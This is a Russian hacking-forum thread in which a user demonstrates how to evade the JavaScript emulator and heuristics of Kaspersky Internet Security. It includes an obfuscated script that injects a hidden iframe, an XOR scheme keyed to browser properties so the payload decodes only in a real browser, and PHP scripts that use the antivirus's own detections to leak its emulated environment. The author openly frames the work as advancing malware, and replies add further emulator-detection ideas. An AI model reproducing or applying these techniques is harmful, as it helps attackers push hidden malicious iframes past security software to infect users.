• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Черный ящик с надписью KIS.

r00nix

CD-диск
Пользователь
Регистрация
27.07.2009
Сообщения
14
Реакции
5
Приветствую вас, уважаемые форумчане. Сегодня я хотел бы продемонстрировать свои скромные изыскания на тему реализации эмуляции HTML, которая используется в KIS при включенной на максимум эвристике. Сразу оговорюсь по поводу хайда - информация, представленная здесь, может быть использована умными людьми в качестве получения профита, и не хотелось бы, чтобы ушлые любители халявы тормозили процесс развития малвари, подгоняя при этом процесс развития АВ-индустрии.
Сподвигли меня на изыскания долгие безуспешные попытки создания такого обфускатора для ифрейма, который был бы тяжел для чтения и парсинга, занимал немного места, и при этом не палился антивирусным ПО. Единственное, с чем я не мог справиться - это антивирус дяди Жени с настройками, выкрученными на максимум. Но в итоге озарение снизошло на меня (в виде товарища Aels, который подтолкнул меня в нужном направлении, за что ему большое спасибо).
Итак, выводы, к которым я пришел:
1. в КИСе есть эмулятор javascript-кода.
2. эвристика срабатывает на сэмулированное поведение (изменения в DOM, например)
3. эмулятор создает видимость, будто код выполняется во вполне себе обычном браузере, что усложняет его детект
Когда я пришел к таким выводам, у меня появился логичный вопрос - а почему бы не залезть во внутренности этого эмулятора, да не покопаться там? Дебажить было неохота, да и вряд ли это принесло бы сколько-нибудь приемлемые по количеству затраченного времени результаты. Поэтому я пошел другим путем реверсинга.
Дело в том, что КИС детектит создание на странице из обфусцированного кода спрятанного ифрейма (с style="visibility:hidden") как HEUR:trojan.Script.Iframer. Но если функция по деобфускации возвращает вместо рабочего кода какую-нибудь галиматью - соответственно, ничего не создается, и KIS молчит.
Для примера, вот страница со скриптом, который создает невидимый фрейм:
Код:
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>
<script>
function decrypt(str_in) {
	var arr_out = str_in.split('|');
	for (i = 0; i < arr_out.length; i++) {
  arr_out[i] = String.fromCharCode(arr_out[i])
	}
	return arr_out.join('')
}
str_evil = '100|111|99|117|109|101|110|116|46|119|114|105|116|101|40|39|60|105|102|114|97|109|101|32|115|114|99|61|34|104|116|116|112|58|47|47|116|101|115|116|46|99|111|109|47|34|32|115|116|121'+
'|108|101|61|34|118|105|115|105|98|105|108|105|116|121|58|104|105|100|100|101|110|34|62|60|47|105|102|114|97|109|101|62|39|41';
eval(decrypt(str_evil))
</script>
Тут все просто. Строка вредоносного кода обработана вот этой функой:
Код:
function encrypt(str_in) {
	var arr_out = str_in.split('');
	for (i = 0; i < arr_out.length; i++) {
  arr_out[i] = arr_out[i].charCodeAt(0)
	}
	return arr_out.join('|')
}
В итоге, при попытке загрузить по сети такой файл через браузер, мы натыкаемся на кроваво-красный алерт КИСа. Тут следует немного описать (упрощенно, я уверен, что все реализовано сложнее), когда именно этот алерт выскакивает:
1. страница скачивается с удаленного ресурса в буфер
2. буфер эмулируется
3. при детекте сэмулированного кода выбрасывается алерт, при отсутствии - страница отдается в браузер и показывается пользователю
Самое смешное то, что файловый антивирус работает так же, если не точно так же. В любом случае, эмулятор в Веб-антивирусе и Файловом антивирусе используется один и тот же. Самые прозорливые, наверное, уже догадались, что эмулятор не умеет аякс. Вот пусть они и копают в эту сторону, если интересно, а мы продолжим =)
Итак, есть у нас страница с детектом. Чтобы убрать детект, нужно превратить вредоносный код в кашу. Например, проксорим каждый символ с каким-нибудь значением:
Код:
...
function decrypt(str_in) {
	var arr_out = str_in.split('|');
	for (i = 0; i < arr_out.length; i++) {
  arr_out[i] = String.fromCharCode(arr_out[i] ^ 100)
	}
	return arr_out.join('')
}
...
Натравливаем антивирус на файл - детекта нет. Логично. Но ведь и в браузере код не выполнится! Поэтому первой, что приходит в голову, должна быть мысль: "А что если ксорить еще и на какое-то значение, которое есть в браузере, но которого нет в эмуляторе?"
Тут мы вплотную подобрались к сути нашего изыскания. Предположим, что эмулятор не обладает некоторыми свойствами и методами DOM. Скажем, window.location.toString():
Код:
...
function decrypt(str_in) {
	var arr_out = str_in.split('|');
	for (i = 0; i < arr_out.length; i++) {
  arr_out[i] = String.fromCharCode(arr_out[i] ^ 104 ^ window.location.toString().charCodeAt(0))
	}
	return arr_out.join('')
}...
В браузере такой код выполнится (window.location.toString().charCodeAt(0) вернет 104, так как это символ "h", компенсируем ксор этим же значением, получаем на выходе нормальный код). Но, к сожалению (или к счастью?), антивирус такой код тоже детектит.
А почему бы не вытащить из КИСа всю строку локейшна? Реализовать сие довольно просто - создаем стопицот папок, в каждой стопицот файлов. Каждая папка - позиция символа в строке, каждый файл - код этого символа. На нужные файлы сработает детект антивируса, остальные останутся нетронутыми. Если непонятно, смотрим код:
config.php:
Код:
<?php
// Value from JS that we want to know
$value = 'window.location.toString()';

// Length of returned value
$length = 70;
?>
create.php:
Код:
<?php
include('config.php');

mkdir('out');
for($i=0; $i < $length; $i++){
    @mkdir('out/'.$i);
    for($j=32; $j < 127; $j++){
        $out = <<<EOF
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>
<script>
function decrypt(str_in) {
	var arr_out = str_in.split('|');
	for (i = 0; i < arr_out.length; i++) {
  arr_out[i] = String.fromCharCode(arr_out[i] ^ $j ^ {$value}.charCodeAt($i))
	}
	return arr_out.join('')
}
str_evil = '100|111|99|117|109|101|110|116|46|119|114|105|116|101|40|39|60|105|102|114|97|109|101|32|115|114|99|61|34|104|116|116|112|58|47|47|116|101|115|116|46|99|111|109|47|34|32|115|116|121'+
'|108|101|61|34|118|105|115|105|98|105|108|105|116|121|58|104|105|100|100|101|110|34|62|60|47|105|102|114|97|109|101|62|39|41';
eval(decrypt(str_evil))
</script>
EOF;
        file_put_contents('out/'.$i.'/'.$j, $out);
    }
}
echo "Done!\n";
?>
Итак, кладем эти скрипты в произвольную директорию (у меня это C:\kis-test\), ставим на паузу антивирус (будет мешать), запускаем и ждем:
Код:
C:\kis-test>php create.php
Done!
Появилась папка out. Включаем защиту, сканируем эту папку. Кис находит стопицот вредоносных файлов и удаляет их. Если не удаляет - идем в Reports и ручками отмечаем на удаление те файлы, которые он счел нужным положить в карантин. Теперь рядом с двумя скриптами кладем скрипт следующего содержания:
check.php:
Код:
<?php
include('config.php');
for($i=0; $i < $length; $i++){
	for($j=32; $j < 127; $j++){
  if(file_exists('out/'.$i.'/'.$j)) {
  	unlink('out/'.$i.'/'.$j);
  } else {
  	printf(chr($j));
  }
	}
	rmdir ('out/'.$i);
}
rmdir('out');
echo "\nDone!\n";
?>
Он пробегается по созданным директориям, и если не находит какого-то файла, соответствующего определенной позиции и символу (КИС же удалил такие файлы) - то выводит в консоль этот символ:
Код:
C:\kis-test>php check.php
http://C:\kis-test\out\24\5
Done!
Батюшки светы, это же бубль гум! Что мы имеем - при проверке файла на ФС, для того, чтобы создать окружение web, КИС к адресу файла подставляет "http://"
Забавно, не правда ли?

Думаю, вы уже поняли, как таким образом можно исследовать эмулятор КИСа. Вот некоторые значения, которые я оттуда вытащил (красным - значение $value из config.php, зеленым - результат после выполнения check.php):
navigator.userAgent.toString()
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425); .NET CLR 2.0.40607; Gecko/20100914 Firefox/3.6.10)
(!+'\v1').toString()
true
(тут хотелось бы сказать, что это возвращает true только в ИЕ, в остальных браузерах - фолс)
("a"=="b").toString()
0
(а вот тут косяк с эмуляцией: должно быть именно false, как во всех нормальных браузерах, а также в ИЕ)

Вот, собственно, и все. Если кому-то любопытно - исследуйте другие возможности эмулятора и делитесь тут своими тестами. Надеюсь, было интересно.
 
Ну вообщем, как и в случае с файлами, тут тоже нужно использовать какие-то факторы, которые в эмуляторе не могут быть однозначно выполненны. Либо обнаруживать его (эмуль) по каким-то факторам и идти по заведомо-неверному пути исполнения кода (декрипт с лживым ключем?).
 
demien
Как раз вторая ситуация у меня сейчас активно используется. А вот насчет неоднозначности выполнения, не могли бы Вы пример продемонстрировать? Не вполне понимаю суть идеи.
 
r00nix у меня немного инная направленность и примера я вам дать не смогу, зато знаю, то о чем я говорю есть тру!
 
demien, поверю на слово. Все же, я имел в виду пример как раз Вашей направленности. В конфочке (будь она неладна) мне заявили, что с файлами так же. Вот хотелось бы развить тему и уже окончательно добить эмуль этого антивируса, дабы убедиться, что на данный момент эмуляция кода (будь то JS, оп-коды вм или байт-код) не способна дать хоть каких-то стоящих результатов в борьбе с малварью. Но, раз Вы предпочитаете отмалчиваться, остается только кивать головой =)
 
В конфочке (будь она неладна) мне заявили, что с файлами так же.
Универсального решения этой проблемы нет и не будет. Как только тема станет достоянием публики, её быстро пофиксят. Вот и остаётся искать костыли "временные" чтобы остановить эмуль.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх